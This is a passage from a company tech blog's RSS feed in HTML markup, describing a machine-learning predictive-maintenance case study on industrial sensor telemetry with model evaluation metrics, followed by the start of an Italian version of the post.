-2-5-1-6%201s-1%203%201%204c2%202%205%202%205-1l2%201c1%201%203%202%204%201%203%200%203-1%203-6l-1-5-1%202\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/c0c1a4229b81f2b729a3681474ff3fc0/c85cb/industry-applications.webp 300w,/static/c0c1a4229b81f2b729a3681474ff3fc0/e88ff/industry-applications.webp 600w,/static/c0c1a4229b81f2b729a3681474ff3fc0/92f8c/industry-applications.webp 1200w,/static/c0c1a4229b81f2b729a3681474ff3fc0/2c416/industry-applications.webp 1367w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/c0c1a4229b81f2b729a3681474ff3fc0/5a46d/industry-applications.png 300w,/static/c0c1a4229b81f2b729a3681474ff3fc0/0a47e/industry-applications.png 600w,/static/c0c1a4229b81f2b729a3681474ff3fc0/c1b63/industry-applications.png 1200w,/static/c0c1a4229b81f2b729a3681474ff3fc0/f0811/industry-applications.png 1367w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 7 - Applications in the industry&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/c0c1a4229b81f2b729a3681474ff3fc0/c1b63/industry-applications.png&quot; title=&quot;Figure 7 - Applications in the industry&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 7 - Applications in the industry&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Some possible applications are:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Predictive maintenance&lt;/strong&gt;: predict failures and anomalies on machinery with the aim of managing efficiently maintenance
, with an important return in terms of cost reduction&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Sales forecast&lt;/strong&gt;: predict future sales levels in order to optimize the production process&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Product quality control (Quality 4.0)&lt;/strong&gt;: check the product quality by detecting production defects&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Forecast of energy consumption&lt;/strong&gt;: forecast future energy consumption, with advantages both for those who have to request it and for those who
it is an energy supplier&lt;/li&gt;&lt;/ul&gt;&lt;h1 id=&quot;applications-in-predictive-maintenance&quot;&gt;Applications in predictive maintenance&lt;/h1&gt;&lt;p&gt;Below is an example of applying Supervised Learning algorithms and techniques for the use case of predictive maintenance. &lt;br/&gt;
The data used for the training are sensor data, coming from real machines, collected through the SMC IoT Experience platform.
The goal is to create systems capable of:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Predict how quickly a failure could occur on the machine (Regression)&lt;/li&gt;&lt;li&gt;Predict if a failure could occur within a certain time window (Binary classification)&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;In trying to achieve all this, machine learning comes to our aid, thanks to the use of algorithms and models that are
able to learn the correlations between the sensor data and and failures that occurred on the machinery.&lt;/p&gt;&lt;h3 id=&quot;construction-of-the-dataset&quot;&gt;Construction of the dataset&lt;/h3&gt;&lt;p&gt;To build the dataset on which to train the algorithms, it was necessary to acquire the data relating to the historical
faults that occurred on the machinery, as well as the telemetry history in the period of time preceding the considered failures.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/a8c81f1f9c4e055ee6fb88a68ff44515/4e286/dati.jpg&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:55.00000000000001%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;220\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20220\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M376%205l-2%204h-47a12972%2012972%200%2000-92%202l-2%204-1%204h-28l-28%201h57l2-4%203-4c69%200%20137-2%20138-3l2-4%201-3-3%203M175%2021v2l-1%201-4%204-1%203h-30l-2%204-1%203h-23c-25%200-23-1-25%206l1%202%201-3c1-4%201-4%2026-4l21%201%202-4%201-4h15c15%200%2015-1%2017-3l3-4%201-3c0-2-1-2-1-1M50%2048l-9%201-7%201c0%202%2016%201%2017%200%200-2%203-2%2019-2l18-1c0-2-37-1-38%201m118%2011v36l-4%201-2%202h5c2%200%202-1%202-5%200-5%200-5%201-1%200%204%202%208%203%208l2-3c1-2%201-2%202%200%201%203%203%204%205%201s2-4-1-2c-1%201-1%201-3-1-1-2-4-2-4%201%200%201-2%202-2%200l-1-21-1-20-2%204m157%2036l-2%201h-3l-5%201c-3-1-3-1-2%201%202%202%207%202%208%200h2c0%201%203%202%203%200h10c7%201%2011%200%2013-1%203-1%204-1%205%201%202%202%202%202%203%201h3c2%202%202%202%204%200l4-2%202%201c1%200%202%201%202%203%201%204%203%203%204-1%200-2%201-3%202-3l2-1-2-1c-1%200-3%201-3%203-2%202-2%202-2%200l-3-2-2-1-3%201c-3%202-8%202-11-1h-3c-2%202-21%202-22%200h-4m-173%202h-2c-4-1-13%200-16%202h-2l-3-1h-3l-4-1c-3%202-17%202-20%200h-8l-5%201-2%201-1%203v-3c0-2%200-2-7-2-6-1-8%200-8%201l7%201c6-1%206-1%207%202%201%202%202%203%203%200l5-1%203-1h4c4%201%2022%202%2024%201h4l3%201h5c5-3%207-3%207-1h2c1-2%201-2%204-1%203%202%203%202%204%200l2-1%203-1c1-1%200-2-2-2l-4%202m-89%2010l-2%201-3%202-2%201-3%201c-2%202-2%202-2%200l-3-1c-3%201-4%201-4-1s-3-1-4%202l-1%203v-4l-1-3c-1-1-2%202-1%203l-1%201-1-1h-1v1l1%204%201%203%201-3c0-2%200-2%201-1%202%202%204%201%204-2h1l4%201c3-1%203%200%204%203%200%204%201%203%202-1%201-3%203-4%203-1%201%201%201%201%201-1%201-2%204-4%204-1l1%201%202%202%201%204v-3c1-3%204-5%204-3h1l3-1%202%201%202%202%201%201c0-2%202-3%204-1%201%201%201%201%201-1%201-4%202%2016%202%2028l1%2012c2%200%203-10%203-25%200-12%201-19%204-18l2-1h2c1%201%201%201%201-1%200-3-2-3-3-1s-1%202-3%200c-2-3-4%204-5%2021v15l-1-17c-1-17-2-24-4-18%200%203-1%204-2%201h-2c-1%201-1%201-1-1l-1-2-1%202-1%202-2-2c0-2-2-3-2-1h-1c0-2-2-1-2%201%200%203-2%202-3-2l-1-1m74%203c0%204-2%207-2%204l-2-2-4-1c-1-2-3-2-3%200h-5l-8%201c-1%201-2%201-3-1-1-1-1-1-2%201l-1%202v-2c-1-2-1-2-2-1s-2%202-3%201h-3c-2%201-2%201-1%202h4c2%201%202%201%203-1%201-1%201-1%201%202%201%203%203%204%203%202s1-2%204-2l1-1c1-2%206-1%206%200h2c1-2%201-2%203-1%201%202%201%202%202%201%200-3%202-2%202%201%201%202%203%203%203%201s2-3%202-2l1%2018c0%2029%202%2025%203-8%200-10%200-11%203-8%201%201%201%201%201-1s2-2%204%200h2c1-2%201-2%203%200%202%203%203%203%203-1v-2l1%203%202%201%202-1%201-2%201%201%202%203c2%201%202%201%202-1l1-3c1-1%202%208%202%2027%201%2013%202%2020%202%2011l1-16%201-11v14a392%20392%200%20012%207c0-6%200-9%201-8l1%208%201%207%201-6a508%20508%200%2001-4-27c0%205%200%206-1%202-1-14-3-16-3-4v8l-1-6c-1-7-2-10-4-10l-1%201-1%204-1-2c0-3-1-4-4-1-2%203-2%203-2%201l-1-3c-2-1-2-1-2%202v4l-2-3c-2-2-2-2-3%200h-2l-1-2h-2c0-1-1-1-1%201h-1l-1-2-2-1c-1-1-1%200-1%202m96%2035l-1%205c0%202%200%203-1%202%200-2-2-3-2%200h-4c0%202-5%201-6%200-1-2-6-3-6-1l2%201%202%201%207%201%207%201h1l4-1%2010-1h4l5-1c2-1%202-1%203%201h2l4-1h13l11-1h1l4%201a22%2022%200%20016%201l4%201h2l2-1%2011%201h15c2%201%207%200%207-1l-3-1h-13a276%20276%200%2001-24-1l-4-1-6-2-2-1c0%203-15%204-19%202h-2l-9%201h-4l-6%201h-4c-1-1-2%200-3%201-3%202-6%200-6-3s-1-6-2-4m-42%2016l-2%204-1%203c0%203-2%202-5-1s-3-3-5-1l-1%203-1%202-2%209-1%208v-8c0-12-3-10-3%202%200%205%200%205-1-2%200-5-1-8-2-9l-1%202c0%201-1%202-2%201l-4%201h-1l-2-1c-1%201-2%200-3-1-2-1-2-1-4%201l-2%203-2-2-1-2-1%203-1%201-3-1c-3%200-3%201-3%203l-1%203-1-2-1-2-1-2c-1-3-2-4-4-1h-1c0-2-1-2-2-2h-5l-3%202-1%203-1%203v-3c0-4-3-4-3%200l-1%203-3-2-2-4c0-3-3-2-4%201%200%203%200%203-1%202-1-2-2-2-3-1h-1v-2c-1-2-3-2-3%200s-4-3-4-5h-1c-1%200-2%206-2%2013-1%2014-2%2015-2%202l-1-10h-5c-1%201-1%201-2-1-2-3-3-3-3%201%200%202%200%202-2%202-1-1-2%200-3%201h-1c0-2-1-3-3-1-1%201-1%201-2-2%200-3-3-5-4-3-1%201-1%200-1-1%200-2-2-3-2%200l-1%203-1-2-2%201-2%201h-1l-1%202c0%202-1%202-4%202s-4-1-4-3-2-3-2%200l-1-1-1-2v2c0%202%200%202-1%201-1-2-2-1-2%204v1c1-2%202-2%202-1h1c0-2%201-2%201-1l1%201%201%201c0%202%201%202%202%201%202-2%206-2%206%200l1%201%201-1%202-2%201-2c0-3%205-1%206%202%200%203%200%203%201%201%200-2%200-2%201-1h2c1-1%201-1%202%201v2l2-2%201-2v2l1%202%202-2c2-2%202-2%203-1%200%202%200%202%201-1l2-2v2c1%202%201%202%202%200s2-2%203%200c2%201%202%203%203%2015%200%2021%204%2018%204-4%200-9%201-17%202-15l1%203%202%202%201-2%201%201c2%204%202%204%203%202h2c1%202%203%201%203-2v-2l3%203c4%204%206%204%207%200l1%202c1%204%203%204%203%201s3-7%204-7l1%202h4c1%203%203%202%203%200l2%202c2%203%202%205%203%2015%200%2017%202%2017%202-1%201-13%201-15%203-15l2%201%201%203%201%202%201-3%201-4%201%201c0%202%203%201%203-1%201-3%206-2%208%201%201%202%201%202%203%200l1-1h1l2%201c0%203%202%202%202%200%201-1%201%205%201%2013%200%2018%201%2021%203%205l1-12v11c0%2010%202%2019%202%2010%200-17%202-31%204-33l2-3%201-1%205%205c0%204%202%203%203-1l1-4%201-2h4c1%202%202%202%203%201l2-1%201-1%202%202%202%203%203-2c3-2%204-2%205%202l2%202%201-2h1c0%203%202%202%202%200s0-2%202%200c2%201%202%201%202-1l1%201c1%202%203%203%203%200h1l1-2%201-1%201%2019%201%2021c1%202%201-2%202-23l1-8%201%202c0%202%202%201%203-1%200-2%203-4%203-4a76%2076%200%20001%205c0%202%202%201%202-1s3-2%203%200c0%201%201%201%202-1s3-3%203%200l1%201%201-2h1c2%201%208%200%208-2l-1-1-1%201h-5c-1-1-1-2-2-1l-2-1h-1l-1%201-2%201c0%202-3%200-3-2-1-2-1-2-2%200l-1%202c0-2-5-2-5%200l-1%201-1-2c0-3-2-3-2-1l-1%208c0%204-1%203-1-4%200-6-1-11-2-11h-1c0%201%200%202-1%201l-2%202c-1%202-1%202-1-1-1-3-1-3-3-2l-3%202c-2%200-3%201-3%202s-1%201-3-1-3-3-5-3c-2%201-4%200-5-1l-2-2-2%203c-3%202-3%202-3%200l-3-2-1-2c-1-2-1-2-1%201m176%204l-1%205c0%203%200%203-1%202l-1-4c0-3-3-2-5%203-1%202-1%202-1%200s-2-4-2-2l-6%203-3-2-1-2-2%202-2%203-1-3c0-2-2-3-2-1h-1l-2-3-1-1c-3%200-3%201%200%204l3%204h2c2%202%205%201%205-1%201-1%201-1%202%202%202%203%202%203%203%201%202-2%202-2%204%200h3c2%202%203%201%203-1%201-4%203-4%204%200%200%205%202%203%203-3%201-4%201-4%201-1%200%204%202%208%202%205%201-4%202%2012%202%2021l1%2012c2%201%203-2%203-16%200-18%201-22%203-20h1l-2-4c-2%200-3%203-3%2011%200%2015-2%2019-2%206%200-12%200-13-2-14l-2-4c0-3-2-5-2-2m-79%203h-1l-2%201h-1c0-2-3%201-3%203h-6l-3%201-3%201-1%201c-3%200-5%200-3%201l2%203c0%202%202%201%203-1%200-3%202-4%204-2%200%202%202%201%202-1h3l1%201c0%203%202%201%203-2%200-3%200-3%201-1l1%203%201-3%201-1%201-1c1-2%201-2%202-1%202%203%203%202%203%200%200-1%200-2-1-1l-1-1-1-1-2%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/a8c81f1f9c4e055ee6fb88a68ff44515/c85cb/dati.webp 300w,/static/a8c81f1f9c4e055ee6fb88a68ff44515/e88ff/dati.webp 600w,/static/a8c81f1f9c4e055ee6fb88a68ff44515/92f8c/dati.webp 1200w,/static/a8c81f1f9c4e055ee6fb88a68ff44515/b33b6/dati.webp 1582w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/a8c81f1f9c4e055ee6fb88a68ff44515/f93b5/dati.jpg 300w,/static/a8c81f1f9c4e055ee6fb88a68ff44515/b4294/dati.jpg 600w,/static/a8c81f1f9c4e055ee6fb88a68ff44515/e5166/dati.jpg 1200w,/static/a8c81f1f9c4e055ee6fb88a68ff44515/4e286/dati.jpg 1582w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/jpeg&quot;/&gt;
        &lt;img alt=&quot;Figure 8 - Telemetry data&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/a8c81f1f9c4e055ee6fb88a68ff44515/e5166/dati.jpg&quot; title=&quot;Figure 8 - Telemetry data&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 8 - Telemetry data&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Once all the data was acquired, an in-depth &lt;strong&gt;feature engineering&lt;/strong&gt; activity was carried out, i.e. an activity in which the data
they have undergone filtering, processing and aggregation; this activity, every time you face a machine learning task, is fundamental
to be able to put the data in the best shape to be able to efficiently train what is the chosen algorithm.&lt;/p&gt;&lt;p&gt;The data was subsequently labeled, so that a supervised training approach can be used. &lt;br/&gt;
To do this we have correlated two different values to each telemetric record:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;A continuous scale value, for the regression task, which specifies the time remaining to the fault at the time that the telemetry record was recorded&lt;/li&gt;&lt;li&gt;A binary value, for the binary classification task, which indicates whether the telemetry record has been recorded within a certain time window since the fault&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;At the end of the labeling, a data set consisting of about 170 telemetry sequences preceding failures occurred on the same machine, is resulted,
where each telemetry sequence has an amplitude between 250 and 300 minutes&lt;/p&gt;&lt;p&gt;Finally, the dataset was divided into:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Training set (90% of the total, used for training)&lt;/li&gt;&lt;li&gt;Test set (10% of the total, used to evaluate the performance of the trained model)&lt;/li&gt;&lt;/ul&gt;&lt;h3 id=&quot;trainings-and-evaluations&quot;&gt;Trainings and evaluations&lt;/h3&gt;&lt;p&gt;Some candidate algorithms for the task have been trained and tested. Some of these are:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Gradient_boosting&quot;&gt;Light Gradient Boost Machine Classifier&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Random_forest&quot;&gt;Extra Trees Regressor&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Random_forest&quot;&gt;Random Forest Classifier&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Long_short-term_memory&quot;&gt;Long Short-Term Memory Networks&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;After each training, it is essential to evaluate the performance of the resulting model. This is to compare both different
algorithms between them, both different training configurations of the same algorithm, and identify the tool that
work better on that specific task. &lt;br/&gt;
To carry out these evaluations, a series of metrics and graphs are used, which show how well the model is
in question is able to perform the task for which he was trained. &lt;br/&gt;
In the case in question we can see, for example, the results of the evaluation carried out on the forecasting task
if a fault could occur within a certain time window. &lt;br/&gt;
In particular, the results refer to the training of a &amp;quot;Light Gradient Boost Machine Classifier&amp;quot; with time window
set at 30 minutes.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:500px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/6e331c730a4d8e2e2185c69fe640caac/0b533/metrics.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:97.33333333333333%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;389\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20389\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;/%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/6e331c730a4d8e2e2185c69fe640caac/c85cb/metrics.webp 300w,/static/6e331c730a4d8e2e2185c69fe640caac/b0a15/metrics.webp 500w&quot; sizes=&quot;(max-width: 500px) 100vw, 500px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/6e331c730a4d8e2e2185c69fe640caac/5a46d/metrics.png 300w,/static/6e331c730a4d8e2e2185c69fe640caac/0b533/metrics.png 500w&quot; sizes=&quot;(max-width: 500px) 100vw, 500px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 9 - Evaluation metrics&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/6e331c730a4d8e2e2185c69fe640caac/0b533/metrics.png&quot; title=&quot;Figure 9 - Evaluation metrics&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 9 - Evaluation metrics&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;The &amp;quot;holdout score&amp;quot; column contains the values for metrics that present the model&amp;#x27;s performance across the test set. &lt;br/&gt;
We have a total &lt;a href=&quot;https://en.wikipedia.org/wiki/Accuracy_and_precision&quot;&gt;accuracy&lt;/a&gt; of 98.6%,
with values of &lt;a href=&quot;https://en.wikipedia.org/wiki/Precision_and_recall&quot;&gt;Precision and Recall&lt;/a&gt; also very high,
which show satisfactory performance for the model in question. &lt;br/&gt;
For a more detailed view we also see the confusion matrix, which consists of a matrix that allows you to visualize
false positives and false negatives, putting the real labels in relation with the values foreseen by the model..&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:433px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/5a19a9751f9c38d57694b9be1d9af65d/55fc0/cm.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:96.66666666666666%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;387\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20387\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M11%2022c-5%203-1%2015%205%2015%204%200%209-4%207-5h-3c-2%202-7%203-8%201s0-8%201-10c2-2%206-1%207%201s3%203%203%201c0-5-7-7-12-3m109%207l1%208%202-6v-4l2%205%203%205%203-5%202-5v4l2%206%201-8c0-8%200-9-2-9-1%200-2%201-3%206l-3%206-2-6c-2-5-2-6-4-6s-2%201-2%209m78-6c-5%202-6%209-1%2012%207%205%2015-4%2010-10-3-3-5-4-9-2M27%2026c-4%204-1%2011%204%2011%203%200%206-3%206-6%200-6-7-9-10-5m61%201c-2%203-2%203-1%206%202%205%209%205%2011%200%203-7-5-12-10-6m51-1c-1%202-1%202%203%201%205%200%206%202%201%203-7%202-6%207%202%207h4v-6l-1-6c-2-2-6-1-9%201M16%20220v111h364V108H16v112m1-72v39h108v-78H17v39m109-20v19h253v-38H126v19m66-5c-2%203-4%204-5%203l-4-1c-1%201-2%200-3-1h-2l-4%201c-2%200-3%201-3%203%200%204%202%205%205%203h10l-1-1-2-1h2l4%202%204%201c2%200%202%200%202-5s-1-6-3-4M39%20147c0%204%200%204%203%204l3-1h7l4%201c2%200%202%200%202-3-1-4-4-6-6-3%200%202%200%202-2%200h-3c-1%201-6-1-6-2l-1-1-1%205m43-4l-2%201-2%202-2-1h-6c0-2-2-1-3%201l-1%202v-2c-1-4-6-2-7%202l1%203%202-2%201-3%202%203c0%203%203%203%204-1v-2l1%202c1%203%204%204%207%202h1l3%201c3%200%203%200%203-4l-1-5-1%201m44%2025v19h136v-39H126v20m137%200v19h116v-39H263v20M17%20212v23h108v-47H17v24m177%200v23h68v-47h-68v24m69%200v23h116v-47H263v24M17%20259v23h108v-46H17v23m109%200v23h68v-46h-68v23m137%200v23h116v-46H263v23M17%20307v23h108v-47H17v24m109%200v23h136v-47H126v24m137%200v23h116v-47H263v24m-153-4l-2%201-4%201h-2l-7-1h-5v4c0%202%200%203%201%202%201-4%202-5%202-2l1%203%201-2c0-4%202-4%202-1%201%203%205%204%205%202h-1l-2-1c0-2%204-1%205%201%200%201%204%202%205%200l-2-1-2-1c0-2%200-2%202-2h2c1-1%201%200%201%202l1%203c1%200%202-3%201-8%200-2-2-1-2%200m-94%2049v4h54a737%20737%200%200047-2l1-2-1-2%203-1-50-1H16v4m259-3c3%200%204%201%204%203s-1%203-4%203l51%201h54v-8h-54l-51%201M63%20362v7l1-3c0-2%201-3%202-3l1%203%201%203%201-3c0-4%202-4%202%200%201%203%204%204%207%202h6l-2-1c-1%200-2%200-2-2s0-2%202-1c2%200%202%200%201-2h-3c-2%202-2%202-3%200H63m292%200v7l1-3c0-2%201-3%202-3l1%203%201%203%201-3c0-4%202-4%202%200%201%203%204%204%207%202h6l-2-1c-2%201-2%201-2-1%200-3%200-3%202-2%202%200%202%200%201-2h-3c-2%202-2%202-3%200h-14\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/5a19a9751f9c38d57694b9be1d9af65d/c85cb/cm.webp 300w,/static/5a19a9751f9c38d57694b9be1d9af65d/aff3a/cm.webp 433w&quot; sizes=&quot;(max-width: 433px) 100vw, 433px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/5a19a9751f9c38d57694b9be1d9af65d/5a46d/cm.png 300w,/static/5a19a9751f9c38d57694b9be1d9af65d/55fc0/cm.png 433w&quot; sizes=&quot;(max-width: 433px) 100vw, 433px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 10 - Confusion matrix&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/5a19a9751f9c38d57694b9be1d9af65d/55fc0/cm.png&quot; title=&quot;Figure 10 - Confusion matrix&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 10 - Confusion matrix&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;From the confusion matrix it is found that:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;In 92.7% of cases, if we are close to a possible failure, the system is able to correctly predict it, while in 7.3% of
cases is unable to report it&lt;/li&gt;&lt;li&gt;98.2% of the times that a possible imminent failure is reported, this will actually happen, while in 1.8% of the cases
it will be a false alarm&lt;/li&gt;&lt;/ul&gt;&lt;h1 id=&quot;conclusions&quot;&gt;Conclusions&lt;/h1&gt;&lt;p&gt;The application techniques seen represent a possible action strategy to achieve, through machine learning,
systems that support predictive maintenance. &lt;br/&gt;
For example, a system capable of predicting whether a failure could occur within 30 minutes could be used for
install a traffic light on a machine that will signal, if the system foresees it, possible imminent faults. &lt;br/&gt;
This represents only one example of how machine learning and more generally artificial intelligence can help
what is the production and decision-making process within the industrial environment.&lt;br/&gt;
In line with the transformation towards the so-called Industry 4.0, machine learning will play a role in the coming years
fundamental for the growth and the ability of industries to keep up with the times.&lt;/p&gt;&lt;style class=&quot;grvsc-styles&quot;&gt;
  .grvsc-container {
    overflow: auto;
    -webkit-overflow-scrolling: touch;
    padding-top: 1rem;
    padding-top: var(--grvsc-padding-top, var(--grvsc-padding-v, 1rem));
    padding-bottom: 1rem;
    padding-bottom: var(--grvsc-padding-bottom, var(--grvsc-padding-v, 1rem));
    border-radius: 8px;
    border-radius: var(--grvsc-border-radius, 8px);
    font-feature-settings: normal;
  }
  
  .grvsc-code {
    display: inline-block;
    min-width: 100%;
  }
  
  .grvsc-line {
    display: inline-block;
    box-sizing: border-box;
    width: 100%;
    padding-left: 1.5rem;
    padding-left: var(--grvsc-padding-left, var(--grvsc-padding-h, 1.5rem));
    padding-right: 1.5rem;
    padding-right: var(--grvsc-padding-right, var(--grvsc-padding-h, 1.5rem));
  }
  
  .grvsc-line-highlighted {
    background-color: var(--grvsc-line-highlighted-background-color, transparent);
    box-shadow: inset var(--grvsc-line-highlighted-border-width, 4px) 0 0 0 var(--grvsc-line-highlighted-border-color, transparent);
  }
  
&lt;/style&gt;</content:encoded></item><item><title><![CDATA[Machine learning e applicazioni per l'industria]]></title><link>https://techblog.smc.itmachine-learning-industry</link><guid isPermaLink="false">https://techblog.smc.itmachine-learning-industry</guid><pubDate>Mon, 25 May 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Applicazioni come i motori di ricerca, gli assistenti vocali, i siti di e-commerce, le fotocamere &amp;quot;intelligenti&amp;quot;,
il riconoscimento facciale per lo sblocco dello smartphone, fanno parte ormai della nostra quotidianità.
Molti non sanno però che queste applicazioni fanno uso dell&amp;#x27;intelligenza artificiale. &lt;br/&gt;
L&amp;#x27;intelligenza artificiale è utilizzata sia come fondamento senza il quale il sistema non sarebbe realizzabile, sia come supporto per fornire
un servizio il più possibile indirizzato e personalizzato all&amp;#x27;utente.&lt;/p&gt;&lt;p&gt;Questo ci fa riflettere su come l&amp;#x27;intelligenza artificiale è uno strumento già fortemente utilizzato, anche se al momento è
per la maggior parte confinato ai grandi player del mercato.&lt;br/&gt;
Ci si aspetta però che negli anni a venire, l&amp;#x27;AI avrà una sempre maggiore diffusione anche sulle realtà medio piccole,
con un impatto crescente su tutti i tipi di industrie e attività.&lt;br/&gt;
Di fatto, possiamo dire, che l&amp;#x27;AI diventerà molto spesso una feature che ci si aspetta già di avere integrata nei prodotti.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:800px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/7cd50122602e37d1524fd143b3f2f393/4b190/ai-ml.jpg&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
